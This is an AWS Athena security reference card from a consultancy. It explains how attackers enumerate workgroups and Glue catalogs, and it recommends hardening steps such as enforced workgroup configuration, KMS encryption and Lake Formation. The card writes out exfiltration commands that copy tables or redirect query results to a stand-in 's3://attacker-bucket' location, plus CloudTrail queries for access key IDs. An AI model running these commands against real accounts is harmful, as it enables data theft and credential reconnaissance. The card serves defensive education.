Athena is a serverless query service that analyzes data in S3 using SQL. Attackers exploit Athena to query massive datasets in data lakes, access CloudTrail logs for reconnaissance, and exfiltrate sensitive data through query results stored in S3.
Athena queries data directly in S3 using standard SQL. Supports CSV, JSON, Parquet, ORC, and Avro formats. Uses the Glue Data Catalog for table definitions and schema discovery. Federated queries extend to RDS, DynamoDB, and external sources.
Attack note: A single Athena query can scan petabytes of data in S3. If the query role has broad S3 access, the entire data lake is exposed.
Workgroups isolate queries, control costs, and enforce settings. Query results are stored in S3 output locations. If EnforceWorkGroupConfiguration is disabled, users can override the output location to attacker-controlled buckets.
Attack note: Query results in S3 contain the full output of every query. Historical results often persist indefinitely with sensitive data.
Athena provides SQL access to potentially petabytes of data in S3. Query results are stored in S3, creating exfiltration opportunities. Access to CloudTrail tables enables powerful reconnaissance.
aws athena list-work-groupsaws glue get-databasesaws glue get-tables --database-name defaultaws athena list-query-executions --work-group primaryKey insight: Athena queries run with the caller's IAM permissions against S3. If the caller has s3:GetObject on sensitive buckets, Athena becomes a SQL interface to exfiltrate that data at scale.
Tool reference: CloudFox identifies Athena workgroups and their output locations. Pacu module athena__enum discovers all databases, tables, and recent query history for data discovery.
aws athena start-query-execution --query-string "SELECT useridentity.accesskeyid, useridentity.arn FROM cloudtrail_logs WHERE eventname='CreateAccessKey'" --work-group primaryaws athena start-query-execution --query-string "CREATE TABLE exfil WITH (external_location='s3://attacker-bucket/loot/') AS SELECT * FROM customer_data" --work-group primaryaws athena start-query-execution --query-string "SELECT * FROM sensitive_table" --result-configuration OutputLocation=s3://attacker-bucket/results/aws athena start-query-execution --query-string 'SHOW DATABASES' --work-group primaryaws athena start-query-execution --query-string "SELECT * FROM rds_catalog.mydb.users" --work-group primaryaws athena start-query-execution --query-string "SELECT * FROM massive_table" --work-group primary{
"Effect": "Allow",
"Action": [
"athena:*",
"s3:*",
"glue:*"
],
"Resource": "*"
}Full Athena, S3, and Glue access enables complete data lake exfiltration via SQL
{
"Effect": "Allow",
"Action": [
"athena:StartQueryExecution",
"s3:PutObject"
],
"Resource": "*"
}
// No EnforceWorkGroupConfiguration = attacker
// controls where results are writtenWithout enforced workgroup config, query results can be redirected to attacker-owned S3
{
"Effect": "Allow",
"Action": [
"athena:StartQueryExecution",
"athena:GetQueryResults"
],
"Resource": "arn:aws:athena:*:*:workgroup/analytics"
}Limited to specific workgroup with enforced configuration
{
"Effect": "Allow",
"Action": [
"athena:StartQueryExecution",
"lakeformation:GetDataAccess"
],
"Resource": "*"
}
// Lake Formation grants fine-grained
// column and row level access separatelyLake Formation controls what data Athena can actually see at column/row level
Enable EnforceWorkGroupConfiguration to prevent result location override.
EnforceWorkGroupConfiguration: true\nPublishCloudWatchMetricsEnabled: trueUse SSE-KMS encryption for query results in S3.
EncryptionOption: SSE_KMS\nKmsKey: arn:aws:kms:us-east-1:123:key/xxxSet BytesScannedCutoffPerQuery to prevent massive scans and cost attacks.
BytesScannedCutoffPerQuery: 10737418240\n# 10 GB limit per queryUse Lake Formation for fine-grained column and row-level access control on data.
aws lakeformation grant-permissions \\\n --principal DataLakePrincipalIdentifier=arn:... \\\n --permissions SELECT --resource Table=...Monitor query patterns and alert on sensitive table access or unusual data volumes.
CloudWatch Alarm on BytesScanned > threshold\nAlert on queries targeting cloudtrail_logsIsolate sensitive data access in dedicated workgroups with strict IAM policies.
aws athena create-work-group \\\n --name sensitive-only \\\n --configuration EnforceWorkGroupConfiguration=trueAWS Athena Security Card • Toc Consulting
Always obtain proper authorization before testing
Toc Consulting: AWS Security & Cloud Architecture
Our team helps engineering teams secure and architect AWS the right way: assessment in week one, a prioritized action plan in week two.